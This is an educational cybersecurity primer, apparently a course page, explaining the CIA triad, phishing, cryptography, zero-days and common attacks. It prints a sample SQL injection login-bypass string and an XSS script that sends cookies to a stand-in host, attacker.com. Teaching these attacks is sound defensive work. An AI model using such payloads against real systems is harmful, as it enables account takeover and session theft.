Basic Concepts

• Confidentiality, Integrity, Availability (CIA Triad): The core principles of information security.
  Example: Confidentiality ensures your private messages aren't read by others; integrity ensures they aren't altered; availability means you can access them when you need to.
• Phishing: Tricking individuals into revealing sensitive information through deceptive emails or messages.
  Example: An email pretending to be from your bank asks you to click a link to "verify your account" and enter your login details on a fake website.
• Malware: Malicious software designed to harm or exploit any programmable device, service or network.
  Example: A ransomware program encrypts all your documents and demands payment to unlock them.
• Social Engineering: The art of manipulating people so they give up confidential information.
  Example: An attacker calls an employee, pretending to be IT support, and convinces them to reveal their password.

Medium Concepts

• Network Security (Firewalls, IDS/IPS): Protecting network traffic and infrastructure from unauthorized access and threats.
  Example: A firewall blocks incoming traffic from suspicious IP addresses, preventing unauthorized access to your home network.
• Cryptography: The practice of secure communication techniques that allow only the sender and intended recipient of a message to view its contents.
  Example: Encrypting your WhatsApp messages ensures that only you and the recipient can read them, even if intercepted.
• Vulnerability Assessment: The process of identifying, quantifying, and prioritizing the vulnerabilities in a system.
  Example: Running a scan on a web application to find outdated software versions or misconfigurations that an attacker could exploit.

Advanced Concepts

• Zero-Day Exploits: Attacks that take advantage of a previously unknown vulnerability.
  Example: A new bug is discovered in an operating system, and attackers exploit it to gain control of computers *before* the vendor can release a patch.
• Threat Intelligence: Information an organization uses to understand the threats that have, will, or are currently targeting the organization.
  Example: A company subscribes to a threat intelligence feed that warns them about new phishing campaigns targeting their industry, allowing them to prepare defenses.
• Incident Response and Forensics: The process of responding to and investigating a security breach.
  Example: After a server is hacked, an incident response team isolates the server, analyzes logs to understand how the breach occurred, and restores service.

The Brute Force Lab

Complexity is your best defense. Use at least 12 characters, including numbers and symbols.

SQL Injection (SQLi)

Attackers insert malicious SQL code into input fields. If the database executes it, they can bypass security.

SELECT * FROM users WHERE user='admin' AND pass='' OR 1=1 --'

The -- tells the database to ignore the rest of the query!

Cross-Site Scripting (XSS)

An attacker injects malicious scripts into content from otherwise trusted websites. When you visit the site, the script runs in your browser.

<script>document.location='http://attacker.com/steal_cookie.cgi?c='+document.cookie</script>

This code could steal the user's session cookie, allowing the attacker to impersonate them.

Man-in-the-Middle (MitM)

An attacker secretly relays and possibly alters the communications between two parties who believe they are directly communicating with each other.

Example: Connecting to a fake public Wi-Fi network that looks legitimate. The network's owner can then intercept your web traffic.

Denial-of-Service (DDoS)

A DDoS attack floods a server with overwhelming traffic, making the service unavailable to legitimate users.

Example: Thousands of compromised computers (a botnet) all try to access a single website at the same time, causing it to crash.

Malware Types

• Ransomware: Encrypts your files and demands payment.
• Spyware: Secretly records your activity (like keyloggers).
• Trojan: Disguises itself as legitimate software.

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